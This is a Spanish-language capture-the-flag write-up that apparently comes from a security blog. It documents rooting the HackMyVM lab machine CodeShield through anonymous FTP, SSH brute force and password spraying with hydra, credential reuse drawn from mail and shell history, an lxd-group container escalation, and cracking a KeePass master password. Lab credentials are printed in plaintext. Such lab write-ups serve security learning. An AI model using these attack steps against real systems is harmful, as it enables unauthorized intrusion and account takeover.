cd ~/blog

~/writeups/hmv/040-codeshield.md

040 - CodeShield

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Anonymous FTP Access con exposición de documentos internosWeak Password en cuentas SSHCredential Exposure and Reuse en buzones e historialesWeak Password en una base KeePassPrivileged Group Abuse mediante pertenencia al grupo lxd
hackmyvm.eu/machines/machine.php?vm=CodeShield

~2 min de lectura


Las flags de esta máquina se mostraban como arte ASCII con un mensaje decorativo en lugar de un token convencional. El frontmatter conserva únicamente el texto central de cada mensaje.

Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.37
❯ nmap -sCV -p21,22,25,80,110,143,443,465,587,993,995,2222,3389,22222 -oN 02-targeted.txt 192.168.1.37
...
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1002     1002      2349914 Aug 30  2023 CodeShield_pitch_deck.pdf
| -rw-rw-r--    1 1003     1003        67520 Aug 28  2023 Information_Security_Policy.pdf
|_-rw-rw-r--    1 1004     1004       226435 Aug 28  2023 The_2023_weak_password_report.pdf
22/tcp    open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp    open  smtp          Postfix smtpd
80/tcp    open  http          nginx
110/tcp   open  pop3          Dovecot pop3d
143/tcp   open  imap          Dovecot imapd (Ubuntu)
443/tcp   open  ssl/http      nginx
465/tcp   open  ssl/smtp      Postfix smtpd
587/tcp   open  smtp          Postfix smtpd
993/tcp   open  imaps?
995/tcp   open  pop3s?
2222/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
3389/tcp  open  ms-wbt-server xrdp
22222/tcp open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Service Info: Hosts: -mail.codeshield.hmv,  mail.codeshield.hmv; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
...

La misma IP publica dos versiones de OpenSSH en puertos diferentes y una pila completa de correo. Para el acceso inicial nos interesa especialmente 22222, mientras que FTP aporta documentos sin autenticación. Al contrastar el writeup con notes.txt, recuperamos las líneas que habían sido omitidas del bloque anterior. Los scripts de Nmap confirman el acceso FTP anónimo, las capacidades de correo, los certificados de mail.codeshield.hmv y las claves de host de ambos servicios SSH:

| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ssh-hostkey:
|   2048 32:14:67:32:02:7a:b6:e4:7f:a7:22:0b:02:fd:ee:07 (RSA)
|   256 34:e4:d0:5d:bd:bc:9e:3f:4c:f9:1e:7d:3c:60:ce:6e (ECDSA)
|_  256 ef:3c:ff:f9:9a:a3:aa:7d:5a:82:73:b9:8c:b8:97:04 (ED25519)
|_smtp-commands: SMTP: EHLO 521 5.5.1 Protocol error\x0D
|_http-title: Did not follow redirect to https://192.168.1.37/
|_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL STLS CAPA RESP-CODES PIPELINING
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more have STARTTLS OK post-login SASL-IR capabilities listed Pre-login LOGINDISABLEDA0001 IMAP4rev1 IDLE LITERAL+ ID LOGIN-REFERRALS ENABLE
|_http-title: CodeShield - Home
|_ssl-date: TLS randomness does not represent time
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_smtp-commands: mail.codeshield.hmv, PIPELINING, SIZE 15728640, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.codeshield.hmv, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_imap-capabilities: more have post-login AUTH=PLAIN listed SASL-IR capabilities OK Pre-login AUTH=LOGINA0001 IMAP4rev1 IDLE LITERAL+ ID LOGIN-REFERRALS ENABLE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL(PLAIN LOGIN) USER CAPA RESP-CODES PIPELINING
|_ssl-date: TLS randomness does not represent time
| ssh-hostkey:
|   2048 32:14:67:32:02:7a:b6:e4:7f:a7:22:0b:02:fd:ee:07 (RSA)
|   256 34:e4:d0:5d:bd:bc:9e:3f:4c:f9:1e:7d:3c:60:ce:6e (ECDSA)
|_  256 ef:3c:ff:f9:9a:a3:aa:7d:5a:82:73:b9:8c:b8:97:04 (ED25519)
| ssh-hostkey:
|   256 2a:49:28:84:25:99:62:e8:29:68:88:d6:36:be:8e:d6 (ECDSA)
|_  256 20:9f:5b:3f:52:eb:a9:60:27:39:3b:e7:d8:17:8d:70 (ED25519)

Enumeramos el sitio HTTPS con gobuster:

❯ gobuster dir -u https://192.168.1.37 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r -k
...
/team.html            (Status: 200) [Size: 23225]
/mail                 (Status: 200) [Size: 5298]
/principals.php       (Status: 502) [Size: 150]
...

La salida original completa también registró las rutas estáticas siguientes, que ayudan a localizar la página del equipo y a confirmar que las variantes de /principals devuelven el mismo error del backend:

/index.html           (Status: 200) [Size: 60375]
/contact.html         (Status: 200) [Size: 19386]
/about.html           (Status: 200) [Size: 27169]
/blog.html            (Status: 200) [Size: 37661]
/detail.html          (Status: 200) [Size: 36406]
/service.html         (Status: 200) [Size: 23979]
/feature.html         (Status: 200) [Size: 18200]
/quote.html           (Status: 200) [Size: 18554]
/price.html           (Status: 200) [Size: 23856]
/robots.txt           (Status: 200) [Size: 26]
/LICENSE.txt          (Status: 200) [Size: 1422]
/testimonial.html     (Status: 200) [Size: 18531]
/detail2.html         (Status: 200) [Size: 31720]
/principals           (Status: 502) [Size: 150]
/principals.html      (Status: 502) [Size: 150]
/principals.txt       (Status: 502) [Size: 150]

A partir de los nombres descubiertos en el sitio, generamos posibles usuarios con username-anarchy:

❯ cat users.txt
jessica carlson
mohammed mansour
xian tan
annabella cocci
thomas mitchell
patrick early
angelica johnson
jennifer cruise
john doe
bob watson
kevin valdez
❯ username-anarchy --input-file /home/wh01s17/Documentos/maquinas/hmv/01-easy/codeshield/content/users.txt > anarchy_users.txt

Acceso inicial mediante un diccionario contextual

El FTP anónimo expone varios PDF, entre ellos The_2023_weak_password_report.pdf. En lugar de probar rockyou.txt completo, extraemos del documento un diccionario contextual relacionado con la política y los hábitos de la organización. La cuenta resultante presenta un caso de Weak Password. Hacemos un ataque de diccionario en línea contra SSH por el puerto 22222:

❯ hydra -L anarchy_users.txt -P weak_passwd.txt -s 22222 192.168.1.37 ssh
...
[22222][ssh] host: 192.168.1.37   login: valdezk   password: Greatplace2work!
...

Entramos como valdezk y buscamos contraseñas en su home, encontrando una en los correos de Thunderbird:

valdezk@codeshield:~$ grep -ri password
...
.thunderbird/fx2h7mhy.default-release/ImapMail/mail.codeshield.hmv/Trash:Password: D@taWh1sperer!
...

El buzón aporta una contraseña, pero no identifica necesariamente la cuenta que la reutiliza. Probamos ese único secreto contra la lista acotada de usuarios reales. Esto es password spraying dirigido, no un nuevo ataque exhaustivo por usuario:

valdezk@codeshield:/home$ ls
carlsonj  coccia  cowrie  earlyp  iredadmin  iredapd  mansourm  mitchellt  netdata  tanx  valdezk  vmail

❯ hydra -L users.txt -p 'D@taWh1sperer!' -s 22222 192.168.1.37 ssh
...
[22222][ssh] host: 192.168.1.37   login: mitchellt   password: D@taWh1sperer!
...

Movimiento lateral a earlyp

Como mitchellt obtenemos la primera flag. Su .bash_history filtra otra credencial:

mitchellt@codeshield:~$ cat .bash_history
echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining ."
echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining /tmp"
cp -r /tmp/mining .
ls
cd mining/
ls
exit

Reutilizamos esa contraseña para acceder como earlyp:

❯ hydra -L users.txt -p 'EARL!YP7DeVel@OP' -s 22222 192.168.1.37 ssh
...
[22222][ssh] host: 192.168.1.37   login: earlyp   password: EARL!YP7DeVel@OP
...

Escalada de privilegios

Revisamos sus grupos y vemos que pertenece a lxd:

earlyp@codeshield:~$ id
uid=1000(earlyp) gid=1000(earlyp) groups=1000(earlyp),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd)

Además tiene una base KeePass:

.cache/keepassxc/keepassxc.ini:LastActiveDatabase=/home/earlyp/Documents/Passwords.kdbx
...

Tenemos dos vías de escalada. Vía 1: grupo lxd (Privileged Groups Privesc). Los miembros de este grupo controlan el daemon LXD, que sí opera con privilegios elevados. Creamos un contenedor privilegiado y añadimos el sistema de archivos del host como dispositivo de tipo disco:

earlyp@codeshield:~$ lxd init

earlyp@codeshield:~$ lxc init ubuntu:16.04 test -c security.privileged=true

earlyp@codeshield:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true

earlyp@codeshield:~$ lxc start test

earlyp@codeshield:~$ lxc exec test bash
root@test:~#

La shell es root dentro del contenedor, pero el impacto sobre el host aparece porque / fue montado recursivamente en /mnt/root. Desde allí el contenedor puede leer o modificar archivos del sistema anfitrión. Sin ese montaje, ser root dentro de un contenedor aislado no equivaldría automáticamente a controlar el host.

Vía 2: base KeePass. Copiamos Passwords.kdbx a nuestra máquina. KeePass cifra la base, pero la contraseña maestra presenta otro caso de Weak Password: keepass2john extrae un verificador que podemos probar fuera de línea con el mismo diccionario contextual:

❯ file Passwords.kdbx
Passwords.kdbx: Keepass password database 2.x KDBX

❯ keepass2john Passwords.kdbx > hash

❯ /opt/john/run/john --wordlist=weak_passwd.txt hash
...
mandalorian      (Passwords)
...

Abrimos la base con esa contraseña y obtenemos las credenciales de root. La escalada no se produce por romper el formato KDBX, sino por recuperar una contraseña maestra predecible y encontrar dentro otra credencial privilegiada reutilizable:

User: root
Password: 7%z5,c9=w6[x8=
Notes: This is a privileged account to administer the CodeShield server.
Should be possible to use SSH

earlyp@codeshield:~$ su root
Password:
root@codeshield:/home/earlyp#

Obtenemos acceso root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados